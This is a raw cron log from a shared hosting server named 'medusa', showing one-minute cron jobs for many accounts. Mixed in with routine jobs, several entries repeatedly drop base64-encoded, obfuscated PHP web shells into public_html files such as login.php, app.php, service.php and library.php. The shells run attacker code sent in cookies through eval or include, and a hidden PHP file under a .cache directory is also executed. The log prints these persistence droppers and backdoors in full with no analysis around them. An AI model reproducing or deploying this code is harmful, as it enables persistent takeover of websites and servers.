Mar  2 06:57:01 medusa CROND[17247]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:57:01 medusa CROND[17248]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:57:01 medusa CROND[17243]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 06:57:01 medusa CROND[17256]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:57:01 medusa CROND[17257]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:57:01 medusa CROND[17261]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:57:01 medusa CROND[17260]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:58:01 medusa CROND[2720]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:58:01 medusa CROND[2721]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:58:01 medusa CROND[2722]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 06:58:01 medusa CROND[2723]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:58:01 medusa CROND[2725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:58:01 medusa CROND[2726]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:58:01 medusa CROND[2728]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:58:01 medusa CROND[2733]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:58:01 medusa CROND[2734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:58:01 medusa CROND[2732]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 06:58:01 medusa CROND[2735]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:58:01 medusa CROND[2736]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:58:01 medusa CROND[2730]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:58:01 medusa CROND[2738]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:59:01 medusa CROND[20362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:59:01 medusa CROND[20462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:59:01 medusa CROND[20619]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:59:01 medusa CROND[20621]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:59:01 medusa CROND[20634]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:59:01 medusa CROND[20636]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
